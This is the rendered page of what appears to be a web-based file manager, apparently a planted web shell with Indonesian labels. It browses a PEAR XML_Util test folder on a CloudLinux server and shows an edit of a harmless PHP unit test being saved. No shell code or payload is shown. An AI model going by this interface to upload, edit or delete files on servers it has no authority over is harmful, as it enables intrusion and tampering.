PATH: //opt/cloudlinux/alt-php83/root/usr/share/pear/test/XML_Util/tests
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 AbstractUnitTests.php
↓
X
📄 ApiVersionTests.php
↓
X
📄 AttributesToStringTests.php
↓
X
📄 Bug18343Tests.php
↓
X
📄 Bug21177Tests.php
↓
X
📄 Bug21184Tests.php
↓
X
📄 Bug4950Tests.php
↓
X
📄 Bug5392Tests.php
↓
X
📄 CollapseEmptyTagsTests.php
↓
X
📄 CreateCDataSectionTests.php
↓
X
📄 CreateCommentTests.php
↓
X
📄 CreateEndElementTests.php
↓
X
📄 CreateStartElementTests.php
↓
X
📄 CreateTagFromArrayTests.php
↓
X
📄 CreateTagTests.php
↓
X
📄 GetDocTypeDeclarationTests.php
↓
X
📄 GetXmlDeclarationTests.php
↓
X
📄 IsValidNameTests.php
↓
X
📄 RaiseErrorTests.php
↓
X
📄 ReplaceEntitiesTests.php
↓
X
📄 ReverseEntitiesTests.php
↓
X
📄 SplitQualifiedNameTests.php
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: Bug21184Tests.php
<?php /** * Bug #21184 * * PREG returns NULL when it encounters an error. * In this case, it was encountering PREG_BACKTRACK_LIMIT_ERROR. * * @link https://pear.php.net/bugs/bug.php?id=21177 */ class Bug21184 extends AbstractUnitTests { public function testBug21184() { $xml = '<XML_Serializer_Tag>one</XML_Serializer_Tag>'; $this->assertEquals($xml, XML_Util::collapseEmptyTags($xml, XML_UTIL_COLLAPSE_ALL)); } }
SIMPAN PERUBAHAN